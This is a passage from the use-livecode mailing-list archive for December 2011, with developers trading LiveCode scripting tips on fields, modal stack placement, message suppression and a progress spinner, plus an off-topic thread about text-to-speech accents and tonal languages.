the > above code on the preOpenCard and on the openCard which does not have > any effect. > > Is their a list of the [properties] that can be referenced on a field so > that I can refer to the list in the future. > From mikekann at yahoo.com Thu Dec 15 08:51:05 2011 From: mikekann at yahoo.com (Michael Kann) Date: Thu, 15 Dec 2011 05:51:05 -0800 (PST) Subject: Clearing Contents of Field In-Reply-To: <4EE9F6BA.40507@gmail.com> Message-ID: <1323957065.69143.YahooMailClassic@web161603.mail.bf1.yahoo.com> put empty into fld "good_fld" --- On Thu, 12/15/11, Graham Pearson wrote: From: Graham Pearson Subject: Clearing Contents of Field To: "How to use LiveCode" Date: Thursday, December 15, 2011, 7:31 AM In upgrading a previous project in 4.5 to 5.0, I am having a problem with a line of code that would clear the contents of an email address when no records were retrieved from the SQLite DB. I have changed the line to read set the content of field "Email Address Field" to "" The field "Email Address Field" has an ID of 1017 and I have put the above code on the preOpenCard and on the openCard which does not have any effect. Is their a list of the [properties] that can be referenced on a field so that I can refer to the list in the future. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mikekann at yahoo.com Thu Dec 15 08:53:40 2011 From: mikekann at yahoo.com (Michael Kann) Date: Thu, 15 Dec 2011 05:53:40 -0800 (PST) Subject: Clearing Contents of Field In-Reply-To: <4EE9F6BA.40507@gmail.com> Message-ID: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> on mouseUp put the propertyNames into fld 1 end mouseUp --- On Thu, 12/15/11, Graham Pearson wrote: From: Graham Pearson Subject: Clearing Contents of Field To: "How to use LiveCode" Date: Thursday, December 15, 2011, 7:31 AM In upgrading a previous project in 4.5 to 5.0, I am having a problem with a line of code that would clear the contents of an email address when no records were retrieved from the SQLite DB. I have changed the line to read set the content of field "Email Address Field" to "" The field "Email Address Field" has an ID of 1017 and I have put the above code on the preOpenCard and on the openCard which does not have any effect. Is their a list of the [properties] that can be referenced on a field so that I can refer to the list in the future. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From kray at sonsothunder.com Thu Dec 15 09:24:27 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 15 Dec 2011 08:24:27 -0600 Subject: Apple Photo (media) Picker In-Reply-To: References: <9F6F1AB9-8B6A-4C6D-99F0-95CE5F4C4B51@mac.com> Message-ID: On Dec 14, 2011, at 12:25 PM, Todd Geist wrote: > More on this. > > you don't actually need the full Automator file to run it from the shell. > You can rip out the document.wflow file from the contents of the automator > package and use that. > > This comes in handy because some tools see the regular automator package as > a folder not a file. So it can be difficult to handle some times. Good to know! Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From kray at sonsothunder.com Thu Dec 15 09:36:41 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 15 Dec 2011 08:36:41 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: <4EE91A11.6000401@hyperactivesw.com> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> <4EE8EC53.7040300@hyperactivesw.com> <121355522296.20111214131058@ahsoftware.net> <4EE91A11.6000401@hyperactivesw.com> Message-ID: <28BC42F4-D932-4B50-82BC-1DA7A45E6283@sonsothunder.com> > Let's have a gathering at the next conference and confess our stupid moments. I bet we'd draw a huge crowd. We could give a "Most Stupid" award. I've got a really good entry. Sounds like a *great* idea! Not only will it be humorous, but it will also be very informative. I'm in! :D Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From gspearson at gmail.com Thu Dec 15 10:29:10 2011 From: gspearson at gmail.com (Graham Pearson) Date: Thu, 15 Dec 2011 10:29:10 -0500 Subject: Open Project without Running It Message-ID: <4EEA1246.6080508@gmail.com> Does anyone have a tip on how to not run the application upon opening the stack. I have typed something wrong on one of my stacks and upon opening it would max the processors out on my machine so it feels like the computer is frozen. The only way I can get the computer back is to kill the task through Task Manager. From livfoss at mac.com Thu Dec 15 10:32:00 2011 From: livfoss at mac.com (Graham Samuel) Date: Thu, 15 Dec 2011 16:32:00 +0100 Subject: Location of a modal stack Message-ID: <76BE87D6-65E0-4BE2-A5F9-8D04E83F62B1@mac.com> Perhaps I missed this in the documentation, but it seems to be an anomaly: If I have a mainstack with a substack "MyTest", then if I do set the loc of stack "MyTest" to the screenLoc open stack "MyTest" sure enough the stack appears at the screenLoc; but if I change the statement to: open stack "MyTest" as modal the stack appears elsewhere on the screen! As I am growing my own dialog boxes, this is mighty inconvenient. The only way I have found to get round this is to have an OpenStack handler in the substack itself which contains the statement: set the loc of this stack to the ScreenLoc then it works. Am I doing something wrong, or is it a bug or is it a (very strange IMHO) feature? Graham From m.schonewille at economy-x-talk.com Thu Dec 15 10:33:46 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 15 Dec 2011 16:33:46 +0100 Subject: Open Project without Running It In-Reply-To: <4EEA1246.6080508@gmail.com> References: <4EEA1246.6080508@gmail.com> Message-ID: <291564ED-E233-4895-8E23-127704F6AB83@economy-x-talk.com> Hi Graham, Turn off messages in the Development menu. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 15 dec 2011, at 16:29, Graham Pearson wrote: > Does anyone have a tip on how to not run the application upon opening > the stack. I have typed something wrong on one of my stacks and upon > opening it would max the processors out on my machine so it feels like > the computer is frozen. The only way I can get the computer back is to > kill the task through Task Manager. > From dave.cragg at lacscentre.co.uk Thu Dec 15 10:43:05 2011 From: dave.cragg at lacscentre.co.uk (Dave Cragg) Date: Thu, 15 Dec 2011 15:43:05 +0000 Subject: French Ears In-Reply-To: <4EE95056.70807@tkf.att.ne.jp> References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> <4EE95056.70807@tkf.att.ne.jp> Message-ID: On 15 Dec 2011, at 01:41, Tim Selander wrote: > But the voice can rise in pitch, stay flat, or drop in pitch for each syllable. To foreign ears, it is a very, very slight change -- but of course a very obvious change to native speakers. And that slight change in pitch can completely change the meaning of a word. The language has a gazzillion (yes, I believe that is the proper technical term ;-) homonyms. Just one example: > "Hashi" = chopsticks > "Hashi" = bridge > "Hashi" = the edge, like the edge of a table > > and the slight up/down/flat pitch combinations of the two syllables determines which word, (chopsticks, bridge or edge), you are saying. Or determines which part of the country you come from. :-) I've found that even among Japanese, context is more important than getting the "correct" tone. (Well, that's my excuse anyway.) I hadn't heard the expression "tonic accent" before either. I've always used the expression "sentence stress" (or word stress), and a stressed word in a sentence usually determines a tonal change. Japanese is like French is some ways, both are "syllable-timed" languages, with each syllable getting equal time. English is a stress-timed language, and the stressed syllables determine the timing. So the phrase "big red hat" generally takes as long to say as "beautiful orange umbrellas". Which is why to some foreigners, English sometimes sounds slow and sometimes sounds fast. Sorry for the trivia. Dave From th.douez at gmail.com Thu Dec 15 10:50:13 2011 From: th.douez at gmail.com (Thierry Douez) Date: Thu, 15 Dec 2011 16:50:13 +0100 Subject: French Ears In-Reply-To: References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> <4EE95056.70807@tkf.att.ne.jp> Message-ID: 2011/12/15 Dave Cragg > > On 15 Dec 2011, at 01:41, Tim Selander wrote: > > I hadn't heard the expression "tonic accent" before either. I've always used the expression "sentence stress" (or word stress), > In French we call it: "Accent tonique" So, guess it was a word to word translation. Regards, Thierry From bobs at twft.com Thu Dec 15 11:46:39 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 08:46:39 -0800 Subject: There's always a first time or tips for young players In-Reply-To: <33382331515.20111214203747@ahsoftware.net> References: <4EE92F6C.000003.05480@CALS_BIG_PC> <33382331515.20111214203747@ahsoftware.net> Message-ID: Another way is to say: if the short name of me is the mainStack of me then Bob On Dec 14, 2011, at 8:37 PM, Mark Wieder wrote: > Cal- > > Wednesday, December 14, 2011, 3:21:44 PM, you wrote: > >> How do I work around this misdirection? Simple in the scheme of things. I >> built a dummy preopenstack in the substack and went no further. > > Yep. That'll hit everyone sooner or later. Your approach is one way to > deal with it. And if you have multiple substacks you'll need a > preOpenStack handler in each one. The same thing applies if you have > an openstack handler, closeStack, etc. > > Another approach is to put the preOpenStack handler in the script of > the first card in the stack instead of in the stack script. The card > gets the message first anyway, and if there's no handler the message > gets passed on down to the stack script. But placing those handlers in > the card script keeps them out of the way of the substacks. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Thu Dec 15 11:49:10 2011 From: livfoss at mac.com (Graham Samuel) Date: Thu, 15 Dec 2011 17:49:10 +0100 Subject: Location of a modal stack Message-ID: <2322D08D-E8C9-4AE6-948A-14B3A1F80DD9@mac.com> It seems I messed up my search of this list - when I did it again, I did find some correspondence about this and a possible workaround from Ken Ray for dealing with the problem as it occurs in 'standard' dialogs, such as the 'answer' one, although I haven't followed it all up yet. OTOH that conversation makes me think much more firmly that it's a bug: why on earth shouldn't one be able to set the location of **any** stack? Why does the engine bother to fight against it? In fact, why can't we say open stack "MyStack" at ? Graham Earlier, I wrote: > Perhaps I missed this in the documentation, but it seems to be an anomaly: > > If I have a mainstack with a substack "MyTest", then if I do > > set the loc of stack "MyTest" to the screenLoc > open stack "MyTest" > > sure enough the stack appears at the screenLoc; but if I change the statement to: > > open stack "MyTest" as modal > > the stack appears elsewhere on the screen! As I am growing my own dialog boxes, this is mighty inconvenient. The only way I have found to get round this is to have an OpenStack handler in the substack itself which contains the statement: > > set the loc of this stack to the ScreenLoc > > then it works. > > Am I doing something wrong, or is it a bug or is it a (very strange IMHO) feature? > > Graham From bobs at twft.com Thu Dec 15 12:07:13 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 09:07:13 -0800 Subject: Independent Progress Bar In-Reply-To: References: Message-ID: On Dec 14, 2011, at 11:14 PM, FlexibleLearning wrote: > If you want a modal progress bar that works independently (as in > non-blocking) then open the modal invisible first and increment your own bar > as required. > > Both will 'stall' if LC is performing a blocking and time-consuming > operation unless it is returning a trappable value (such as a 'bites > downloaded' callback) that you can use. > > Hugh Senior > FLCo Aye that's the rub. When opening a remote SQL server, or calling sqlYoga to do it for me, there is a time lapse, sometimes several seconds, during which all operations are blocking ones. mySQL is not going to give me progress reports, and unless Trevor decides to implement them, sqlYoga will not either. In any case there are many times that the blocking operations will take enough time that any attempt to automate the progress indicator will be jumpy at best, and completely fail at worst. My solution of creating a standalone stack with systemWindow set to true and a label and animated gif works perfectly for this. I hide the calling stack before calling spinnerOn so the user won't attempt to interact with the main application. Obviously this is an OS X solution for now. My calling scripts look like this: --------------------------------- on spinnerOn put "tell application " & quote & "spinner" & quote & cr & \ "activate" & cr & \ "end tell" & cr into theCommand do theCommand as Applescript end spinnerOn on sendMove put the loc of me into theLoc put "moveMe " & quote & theLoc & quote into theCommand send theCommand to program "spinner" end sendMove on sendMessage thePrompt put "setPrompt " & quote & thePrompt & quote into theCommand send theCommand to program "spinner" end sendMessage on spinnerOff put "hideMe" into theCommand send theCommand to program "spinner" -- we leave it running for future use end spinnerOff --------------------------------- My scripts in the Spinner stack look like this: --------------------------------- on appleEvent theEvent request appleEvent data put it into theData if theEvent is "setPrompt" then setPrompt theData end if if theEvent is "moveMe" then moveMe theData end if if theEvent is "showMe" then showMe end if if theEvent is "hideMe" then hideMe end if pass appleEvent end appleEvent on setPrompt theData set the text of field "lblSpinner" to theData centerPrompt end setPrompt on moveMe theLocation set the loc of me to theLocation end moveMe on showMe show me end showMe on hideMe hide me end hideMe on centerPrompt set the width of field "lblSpinner" to the formattedwidth of field "lblSpinner" set the loc of field "lblSpinner" to the loc of grc "Background" set the left of img "spinner" to the right of field "lblSpinner" +10 end centerPrompt --------------------------------- Works a peach. Anyone can easily do this themselves. Bob From bobs at twft.com Thu Dec 15 12:08:04 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 09:08:04 -0800 Subject: Open Project without Running It In-Reply-To: <4EEA1246.6080508@gmail.com> References: <4EEA1246.6080508@gmail.com> Message-ID: Menu: Development/Suppress Messages Bob On Dec 15, 2011, at 7:29 AM, Graham Pearson wrote: > Does anyone have a tip on how to not run the application upon opening > the stack. I have typed something wrong on one of my stacks and upon > opening it would max the processors out on my machine so it feels like > the computer is frozen. The only way I can get the computer back is to > kill the task through Task Manager. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 15 12:14:18 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 09:14:18 -0800 Subject: Convert Excel date In-Reply-To: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> References: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> Message-ID: Search the archives. I think Sarah wrote a julian date converter, but the problem is that the Julian date can mean several things depending on the source. Can you have Excel display the date as international format? Otherwise, I bet there is an Applescript you can use if you are doing this on a Mac. Windows uses Visual Basic, and I don't have the foggiest clue about that, except to say that to launch a visual basic script saved as a file on the hard disk, you can use a shell command: cscript.exe "myScript.vbs" If you know Visual Basic and they have a conversion for dates, you can give that a shot. Bob On Dec 15, 2011, at 2:29 AM, Ludovic Th?bault wrote: > Hello, > > I've a csv file created by excel. > Dates are displayed in numbers. (1/01/1900 = 1 so today = 40892) > > Is there a script to convert it in a real date with livecode ? > > Thanks ! > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 15 12:17:31 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 09:17:31 -0800 Subject: Clearing Contents of Field In-Reply-To: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> Message-ID: Be advised that there are properties that still remain hidden using this function (or so it was back when I last used it). Bob On Dec 15, 2011, at 5:53 AM, Michael Kann wrote: > on mouseUp > put the propertyNames into fld 1 > end mouseUp From kray at sonsothunder.com Thu Dec 15 13:11:08 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 15 Dec 2011 12:11:08 -0600 Subject: Location of a modal stack In-Reply-To: <2322D08D-E8C9-4AE6-948A-14B3A1F80DD9@mac.com> References: <2322D08D-E8C9-4AE6-948A-14B3A1F80DD9@mac.com> Message-ID: <0B7C35C1-D790-4174-A170-F9553353F8F8@sonsothunder.com> On Dec 15, 2011, at 10:49 AM, Graham Samuel wrote: > It seems I messed up my search of this list - when I did it again, I did find some correspondence about this and a possible workaround from Ken Ray for dealing with the problem as it occurs in 'standard' dialogs, such as the 'answer' one, although I haven't followed it all up yet. > > OTOH that conversation makes me think much more firmly that it's a bug: why on earth shouldn't one be able to set the location of **any** stack? Why does the engine bother to fight against it? In fact, why can't we say > > open stack "MyStack" at ? You *can* set the location of any stack, but unfortunately modal stacks are by default set to be centered over the stack that calls it (why? not sure?). So to get around it, you would need to set the loc in the preOpenStack of the stack that is going to be modal. If you want to specify it from somewhere else, you could do this: on mouseUp set the uLoc of stack "MyModalStack" to 100,100 modal "MyModalStack" -- or 'open stack "MyModalStack" as modal' end mouseUp -- script of stack "MyModalStack" on preOpenStack if the uLoc of this stack <> "" then set the loc of this stack to (the uLoc of this stack) set the uLoc of this stack to "" end if end preOpenStack Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From mwieder at ahsoftware.net Thu Dec 15 13:13:20 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 18:13:20 +0000 (UTC) Subject: There's always a first time or tips for young players References: <4EE92F6C.000003.05480@CALS_BIG_PC> <33382331515.20111214203747@ahsoftware.net> Message-ID: Bob Sneidar writes: > > Another way is to say: > if the short name of me is the mainStack of me then Yes, that's another good way around it. I've always hated that syntax, though... it seems so not natural language and makes me think too much. -- Mark Wieder From mwieder at ahsoftware.net Thu Dec 15 13:18:51 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 18:18:51 +0000 (UTC) Subject: Independent Progress Bar References: <4EE90B92.6090909@fourthworld.com> <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> <7EBAB291-5B99-4B19-86E2-0521F0677E3A@twft.com> <20F333EF-574A-46F4-AF0D-CC908F56BBB8@twft.com> Message-ID: Bob Sneidar writes: > > Maybe someone at Runrev will ask me to write up an article about it! Why wait? Write up the article and send it to Heather for the newsletter. -- Mark Wieder From mwieder at ahsoftware.net Thu Dec 15 13:23:20 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 15 Dec 2011 18:23:20 +0000 (UTC) Subject: Location of a modal stack References: <2322D08D-E8C9-4AE6-948A-14B3A1F80DD9@mac.com> <0B7C35C1-D790-4174-A170-F9553353F8F8@sonsothunder.com> Message-ID: Ken Ray writes: > You *can* set the location of any stack, but unfortunately modal stacks are by default set to be centered > over the stack that calls it (why? not sure?). I'm not sure either, but in general I like it. It means, for example, that the dialog that when you close a stack without saving changes there's a dialog that's centered on the stack with the unsaved changes. I find it's a nice reminder about what is going to be saved if I click Yes (or what I'm about to lose if I don't). -- Mark Wieder From sc at sahores-conseil.com Thu Dec 15 13:45:44 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 15 Dec 2011 19:45:44 +0100 Subject: French Ears In-Reply-To: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> Message-ID: <166DDB24-11BE-4784-9F57-07AC8EEF10FA@sahores-conseil.com> Hi Michael, Works pretty good in using a french in french out test text, say 3.66 / 5 (1 word over 20 is not clearly understandable). But the result seems me serious enough to use the service on a B2B dedicated web site. HTH, Le 14 d?c. 2011 ? 19:08, Michael Kann a ?crit : > I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. > > Here's the site: > > http://imtranslator.net/translate-and-speak/ > > Thank you, > > Michael Kann > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From sc at sahores-conseil.com Thu Dec 15 13:53:31 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 15 Dec 2011 19:53:31 +0100 Subject: French Ears In-Reply-To: <1323910898.65231.YahooMailClassic@web161601.mail.bf1.yahoo.com> References: <1323910898.65231.YahooMailClassic@web161601.mail.bf1.yahoo.com> Message-ID: <6107CABF-491C-4947-A9F1-3E8358D0354B@sahores-conseil.com> Le 15 d?c. 2011 ? 02:01, Michael Kann a ?crit : > http://www2.research.att.com/~ttsweb/tts/demo.php#top 3 / 5 > > http://imtranslator.net/translate-and-speak/ 4 / 5 -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From revdev at pdslabs.net Thu Dec 15 14:25:48 2011 From: revdev at pdslabs.net (Phil Davis) Date: Thu, 15 Dec 2011 11:25:48 -0800 Subject: There's always a first time or tips for young players In-Reply-To: <33382331515.20111214203747@ahsoftware.net> References: <4EE92F6C.000003.05480@CALS_BIG_PC> <33382331515.20111214203747@ahsoftware.net> Message-ID: <4EEA49BC.4060201@pdslabs.net> On 12/14/11 8:37 PM, Mark Wieder wrote: > Cal- > > Wednesday, December 14, 2011, 3:21:44 PM, you wrote: > >> How do I work around this misdirection? Simple in the scheme of things. I >> built a dummy preopenstack in the substack and went no further. > Another approach is to put the preOpenStack handler in the script of > the first card in the stack instead of in the stack script. This is my favorite approach. -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From kttkinfo at gmail.com Thu Dec 15 14:34:40 2011 From: kttkinfo at gmail.com (Len Morgan) Date: Thu, 15 Dec 2011 13:34:40 -0600 Subject: French Ears In-Reply-To: <4EE95056.70807@tkf.att.ne.jp> References: <0953BB7B-D511-425D-BFF7-BD0DE4C06D01@wanadoo.fr> <4EE95056.70807@tkf.att.ne.jp> Message-ID: <4EEA4BD0.6070401@gmail.com> In Chinese it can be even worse. Mandarin has four different "tones" for each syllable, Taiwanese has 8, and Cantonese has up to 11! Unlike Japanese, if you don't get the tones right in Chinese, most likely they will have no clue at all what you're saying even if you get all the syllables right! len On 12/14/2011 7:41 PM, Tim Selander wrote: > (I should probably let one of the native Japanese people on this list > answer, but...) > > I don't know French, and am not precisely sure what you mean by 'tonic > accents' and am not a linguist, so don't know the proper term, but in > Japanese each syllable of a word has exactly the same beat or rhythm, > so it sounds rather staccato to an English speaker. > > But the voice can rise in pitch, stay flat, or drop in pitch for each > syllable. To foreign ears, it is a very, very slight change -- but of > course a very obvious change to native speakers. And that slight > change in pitch can completely change the meaning of a word. The > language has a gazzillion (yes, I believe that is the proper technical > term ;-) homonyms. Just one example: > "Hashi" = chopsticks > "Hashi" = bridge > "Hashi" = the edge, like the edge of a table > > and the slight up/down/flat pitch combinations of the two syllables > determines which word, (chopsticks, bridge or edge), you are saying. > > HTH > > Tim Selander > Tokyo, Japan > > On 12/15/11 8:51 AM, Bob Sneidar wrote: >> I have heard that Japanese has no tonic accents. Is that true? >> >> Bob >> >> On Dec 14, 2011, at 3:29 PM, Francis Nugent Dixon wrote: >> >>> Hi from Beautiful Brittany. >>> >>> Michael wrote : >>> >>>> I'm not interested in the translations, just the quality of the >>>> French accent. >>> >>> Michael, it's the best French speech I have ever heard (I have 45 >>> years of >>> French, in France, under my belt !) >>> >>> However, computer speech is monotonous (great difficulty in placing >>> tonic >>> accents). >>> >>> I think the weather will change tomorrow >>> i THINK the weather will change tomorrow >>> i think the WEATHER will change tomorrow >>> i think the weather will CHANGE tomorrow >>> i think the weather will change TOMORROW >>> >>> Same sentence - at least five ways of saying it ! >>> >>> And this is just the tonic accent in a complete word. When you have a >>> multi-syllable word, placement of the tonic accent is capital. >>> Take any three or four syllable word and say it with the tonic accent >>> in the wrong place. Odds are that even an Englishman would say ...... >>> "I beg your pardon" ! >>> >>> Although tonic accents are far less important to French speech, they >>> do exist ! >>> >>> However, forgetting the tonic accent, the FRENCH accent on this site >>> is damned good ! >>> >>> HTH >>> >>> -Francis >>> >>> "Nothing should ever be done for the first time !" >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > From effendi at wanadoo.fr Thu Dec 15 14:45:42 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Thu, 15 Dec 2011 20:45:42 +0100 Subject: French Ears Message-ID: <0B7456CA-0124-40CC-9FC9-0443D60F4C49@wanadoo.fr> Hi from Beautiful Brittany, Tim wrote : > But the voice can rise in pitch, stay flat, or drop in pitch for > each syllable. To foreign ears, it is a very, very slight change There you have it Tim - a tonic accent, slight, but vital to many languages. I imagine that each speech synthesizer, to do its job properly, should have a map for all the major words of the language, so that the tonic accent should be respected. Although I am convinced that this mechanism is more important in English than in others, I cannot bw sure, simply because I am not MULTIglot :>) Maybe other language speakers could chip in (I know you are there !) on our forum. Best Regards -Francis "If the universe is the answer, what is the question ?" (Leon Lederman - The God Particle) From jacque at hyperactivesw.com Thu Dec 15 14:58:37 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 13:58:37 -0600 Subject: Clearing Contents of Field In-Reply-To: References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> Message-ID: <4EEA516D.60605@hyperactivesw.com> On 12/15/11 11:17 AM, Bob Sneidar wrote: > Be advised that there are properties that still remain hidden using > this function (or so it was back when I last used it). I think the "hidden" ones are just those that are already available in the others. For example, "top" is not included because it is part of "rect". Or are there others? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From effendi at wanadoo.fr Thu Dec 15 15:04:00 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Thu, 15 Dec 2011 21:04:00 +0100 Subject: use-livecode Digest, Vol 99, Issue 26 In-Reply-To: References: Message-ID: <3FF3F93A-C3BD-4AE2-8B5E-F7FCD2E2B5A4@wanadoo.fr> Hi from Beautiful (but very windy) Brittany, Michael wrote : > Sorry to be a pest. Would it be a bother to compare these two websites > and let me know which one sounds better? > > (1) http://www2.research.att.com/~ttsweb/tts/demo.php#top > > (2) http://imtranslator.net/translate-and-speak/ Michael, Site one has a clear and distinct Canadian accent, (Quebec or Montreal !), which, so they tell us, is the way the French spoke two centuries ago ! From Site two, I got "Sorry, our TTS Voice service is currently experiencing a high load." for longer than I had patience, but as I reflected in my previous mail, this site has a natural French accent, and is excellent ! Best Regards -Francis From mikekann at yahoo.com Thu Dec 15 15:04:07 2011 From: mikekann at yahoo.com (Michael Kann) Date: Thu, 15 Dec 2011 12:04:07 -0800 (PST) Subject: French Ears In-Reply-To: <0B7456CA-0124-40CC-9FC9-0443D60F4C49@wanadoo.fr> Message-ID: <1323979447.20640.YahooMailClassic@web161602.mail.bf1.yahoo.com> Thanks to all for the replies. From what I've discovered in the last couple of days, you can make the French (or English) sound more realistic by using a markup language. Without knowing the meaning of the text the program probably just gives a flat generic rendition. Here's some info: http://en.wikipedia.org/wiki/Speech_Synthesis_Markup_Language --- On Thu, 12/15/11, Francis Nugent Dixon wrote: From: Francis Nugent Dixon Subject: Re: French Ears To: use-livecode at lists.runrev.com Date: Thursday, December 15, 2011, 1:45 PM Hi from Beautiful Brittany, Tim wrote : > But the voice can rise in pitch, stay flat, or drop in pitch for > each syllable. To foreign ears, it is a very, very slight change There you have it Tim - a tonic accent, slight, but vital to many languages. I imagine that each speech synthesizer, to do its job properly, should have a map for all the major words of the language, so that the tonic accent should be respected. Although I am convinced that this mechanism is more important in English than in others, I cannot bw sure, simply because I am not MULTIglot? :>) Maybe other language speakers could chip in (I know you are there !) on our forum. Best Regards -Francis "If the universe is the answer, what is the question ?" (Leon Lederman - The God Particle) _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Thu Dec 15 15:02:50 2011 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 15 Dec 2011 22:02:50 +0200 Subject: [OT] SCSI card Message-ID: <4EEA526A.2060502@gmail.com> Well, I finally popped an old Apple-branded SCSI PCI card into my Linux box and hooked up my fairly ancient Iomega ZIP drive; and, despite all the negative stuff that seems to float around about Iomega stuff and SCSI, was able to read all of my ZIP disks. Of course the laughable thing about this was that none of them contained anything remotely useful. Anyway, no troubles, and nice to know it worked. From bobs at twft.com Thu Dec 15 15:09:51 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 15 Dec 2011 12:09:51 -0800 Subject: Clearing Contents of Field In-Reply-To: <4EEA516D.60605@hyperactivesw.com> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> Message-ID: <85218381-FF4C-4F9A-A98B-48865FCC632D@twft.com> I vaguely recall back when I first began to use Remo before it was Remo, that I wanted to expand the basic list of essential properties that Remo could insert into the script of the object. While investigating, I used something to get the properties of an object. It looks like the propertyNames gives you a list of ALL valid properties, not just of an object, so I may have been mistaken there. In fact I am sure of it. I just put the propertynames and got a huge list! Bob On Dec 15, 2011, at 11:58 AM, J. Landman Gay wrote: > On 12/15/11 11:17 AM, Bob Sneidar wrote: >> Be advised that there are properties that still remain hidden using >> this function (or so it was back when I last used it). > > I think the "hidden" ones are just those that are already available in the others. For example, "top" is not included because it is part of "rect". Or are there others? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 15 15:11:15 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 15 Dec 2011 14:11:15 -0600 Subject: Setting the value of a button hilite in script In-Reply-To: <28BC42F4-D932-4B50-82BC-1DA7A45E6283@sonsothunder.com> References: <78282935937.20111213170112@ahsoftware.net> <53299512671.20111213213729@ahsoftware.net> <4EE8EC53.7040300@hyperactivesw.com> <121355522296.20111214131058@ahsoftware.net> <4EE91A11.6000401@hyperactivesw.com> <28BC42F4-D932-4B50-82BC-1DA7A45E6283@sonsothunder.com> Message-ID: <4EEA5463.3060700@hyperactivesw.com> On 12/15/11 8:36 